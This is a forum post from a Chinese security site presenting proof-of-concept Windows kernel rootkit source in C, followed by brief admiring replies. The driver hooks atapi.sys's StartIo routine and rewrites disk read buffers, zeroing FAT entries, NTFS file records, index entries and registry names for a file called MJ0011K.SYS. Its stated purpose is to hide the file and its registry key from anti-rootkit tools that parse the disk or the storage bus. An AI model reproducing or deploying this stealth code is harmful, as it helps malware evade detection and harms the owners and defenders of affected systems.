首页
论坛
课程
招聘
[原创][POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析
2008-10-20 18:26 13091

[原创][POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析

2008-10-20 18:26
13091
[POC]基于IO Packet隐藏文件和注册表,过磁盘解析和总线解析
昨天晚上玩过游戏,睡觉前写了一点代码,下午醒来又稍微改了改

只是POC~

文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了,不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE,所以对于用API或者FSD的文件检查反而过不去~

注册表的部分过FILE CACHE的低强度解析(例如狙剑)也是过不了的~由于这方面工具很少,冰刃和DARKSPY又总是在我的虚拟机上蓝屏,所以就没仔细测试了~也许有问题~

hook了atapi.sys的StartIo例程(由IoStartPacket例程调用,SCSI REQUEST BLOCK最后会调用到这里),过滤磁盘访问~

目标是隐藏名为mj0011k.sys及其注册表项~
绕过所有磁盘解析(例如狙剑、FILEREG、RKU、RKR)
和总线解析(例如RKU发送SRB到ATAPI)

文件隐藏的handler直接照抄了AZY的代码 ^_^


 
ULONG oldstartio;
PDRIVER_OBJECT atapi_dev ; 


VOID unload(
                      PDEVICE_OBJECT DeviceObject,
                      PIRP Irp
    )
{
    atapi_dev->DriverStartIo = oldstartio ; 
    return ; 
}
CHAR fileHide[] = "MJ0011K";
CHAR fileExt[] = "SYS";
WCHAR hideFile[] = L"MJ0011K.SYS";
typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

CHAR NtfsFileRecordHeader[] = "FILE";
CHAR NtfsIndexRootHeader[] = "INDX";
#define FILERECORDSIZE 1024
ULONG xxlong = 0x7 ; 
WCHAR regname[] = L"MJ0011K";
VOID HandleRegHide(PVOID buf , ULONG len )
{
    ULONG i ; 
    for (i = 0 ; i < len  ; i ++)
    {
        if (i + 4 >= len)
        {
            break ;
        }
        if (*(ULONG*)((ULONG)buf + i ) == xxlong)
        {
            if (i + 4 + xxlong * sizeof(WCHAR) >= len)
            {
                break ; 
            }

            if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))
            {
                RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));
                *(ULONG*)((ULONG)buf +i ) = 0 ; 
                break ; 
            }
        }
    }
    return ; 
}
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;
    
    
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);
    
    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {            
        
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
            {
                
                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;
                
                break;
                
            }
            
            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
            
        }
        
    } else if(bIsNtfsFile) {
        
        //DbgPrint("FILE0...");
        
        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                break;
            }
            
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
            
        }
        
    } else if(bIsNtfsIndex) {
        
        //DbgPrint("INDX...");
        // Index Entries
        
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;
        
        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
        
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 18);
                
                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }
                
                preIndxEntry->Size += currIndxEntry->Size;
                
                break;
            }
            
            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
            
        }
    }
}



VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )
{
    PIO_STACK_LOCATION irp_stack ; 

    irp_stack = IoGetCurrentIrpStackLocation(Irp);

    if (irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
        irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
        irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
        (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_IN) &&
        irp_stack->Parameters.Scsi.Srb->DataBuffer &&
        irp_stack->Parameters.Scsi.Srb->DataTransferLength
        )

    {
        PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ; 
        ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ; 
        ULONG i ; 
        PMDL mdl = Irp->MdlAddress ; 

        KDMSG(("disk device bus read request!lba = %08x , len = %08x\n",
            irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
            irp_stack->Parameters.Scsi.Srb->DataTransferLength));

        __asm
        {
            push    Irp
            push    DeviceObject
            call    oldstartio
        }


        
        buf = MmGetSystemAddressForMdl(mdl );

        HandleAkDiskHide(buf , len );
        HandleRegHide(buf , len);
        return ; 
        
    }
    __asm
    {
        push    Irp
            push    DeviceObject
            call    oldstartio
        }

    return ;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
    UNICODE_STRING uniname ; 
    NTSTATUS stat ; 


    drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ; 

    RtlInitUnicodeString(&uniname , L"\\Driver\\Atapi");

    stat = ObReferenceObjectByName(&uniname , 
        OBJ_CASE_INSENSITIVE , 
        NULL , 
        0,
        *IoDriverObjectType , 
        KernelMode ,
        NULL , 
        (PVOID*)&atapi_dev);

    if (!NT_SUCCESS(stat))
    {
        KDMSG(("get atapi drvobj failed , stat = %08x\n" , stat));
        return stat ; 
    }

    oldstartio = atapi_dev->DriverStartIo ;
    atapi_dev->DriverStartIo = mystartio;

    return STATUS_SUCCESS ; 
}

[公告]请完善个人简历信息,好工作来找你!

收藏
点赞0
打赏
分享
最新回复 (11)
雪    币: 280
活跃值: 活跃值 (49)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
cxhcxh 活跃值 3 2008-10-20 20:25
2
0
MJ001??????
雪    币: 234
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
梦魇颖雨 活跃值 2008-10-25 23:13
3
0
在MJ0011的Blog看见过 楼主用自己的代码实现了啊?
雪    币: 147
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
halfsoul 活跃值 2008-10-26 04:21
4
0
膜拜MJ ing...
雪    币: 100
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
鸟鸟 活跃值 2008-10-26 17:50
5
0
谢谢楼主分享!
雪    币: 203
活跃值: 活跃值 (11)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
wyfe 活跃值 2008-10-26 20:50
6
0
QIQI=MJ0011
雪    币: 437
活跃值: 活跃值 (115)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
xss 活跃值 4 2008-10-28 13:33
7
0
MJ出手了。。
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
robar 活跃值 2008-10-28 16:29
8
0
  占坑
雪    币: 70
活跃值: 活跃值 (28)
能力值: ( LV15,RANK:930 )
在线值:
发帖
回帖
粉丝
dummy 活跃值 23 2008-10-29 02:21
9
0
您又在玩邪恶的东西~
雪    币: 5535
活跃值: 活跃值 (10)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
forgot 活跃值 26 2008-10-29 02:27
10
0
邪恶的 东 西 ?
雪    币: 41
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
KibodWapon 活跃值 2014-4-3 12:55
11
0
confused!!
雪    币: 255
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
小龙飞 活跃值 2014-4-3 13:10
12
0
mark一下
游客
登录 | 注册 方可回帖
返回